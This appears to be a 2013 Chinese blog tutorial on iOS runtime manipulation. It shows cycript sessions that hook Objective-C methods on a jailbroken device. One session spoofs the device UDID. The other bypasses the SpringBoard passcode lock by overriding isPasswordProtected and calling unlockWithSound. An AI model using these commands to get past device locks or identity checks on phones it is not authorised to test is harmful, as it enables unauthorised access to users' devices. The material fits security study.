注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

碳基体

http://weibo.com/tanjiti

 
 
 
 
 

日志

 
 

iOS runtime攻击-cycript  

2013-06-19 17:43:13|  分类: iOS app security |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
iOS runtime攻击,目前流行的有两种方式,一种是动态链接库注入,通过编写定制的dylib文件与设置DYLD_INSERT_LIBRARIES环境变量来修改API方法的实现(可参照Mac hook-DYLD_INSERT_LIBRARIES中的例子);还有一种方法就是利用objective-c runtime的消息机制的特性,特别是objc_msgSend,来操作应用,其中以cycript这种混合了objective-c与javascript语法的工具为翘楚。接下来介绍一下使用cycript操纵iOS应用运行时的例子。

例子1:伪造UDID(UIDevice类说明

第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)


第二步:获得当前设备的UDID

cy# [[UIDevice currentDevice] uniqueIdentifier];
@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"


第三步:替换uniqueIdentifier实现方法的实现

cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}
function () {return Instance.box("tanjiti");}


第四步:检查替换后的UDID获取结果

cy# [[UIDevice currentDevice] uniqueIdentifier];
@"tanjiti"


例子2: 解锁屏幕锁定PIN(SpringBoard/SBAwayController.h说明)

第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p SpringBoard

第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]
1

第三步:替换isPasswordProtected实现方法

cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}

第四步:检查替换后设备的锁定状态(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]
0

第五步:最后调用unlockWithSound方法来访问home屏幕

cy# [SBAwayController.sharedAwayController unlockWithSound:1]

通过以上操作,成功解锁屏幕锁定

接下来会写一下runtime attack中的核心组件MobileSubstrate,与非常流行的Theos越狱开发框架。

参考:
http://iphonedevwiki.net/index.php/Cycript
http://iphonedevwiki.net/index.php/Cycript_Tricks
  评论这张
 
阅读(2711)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017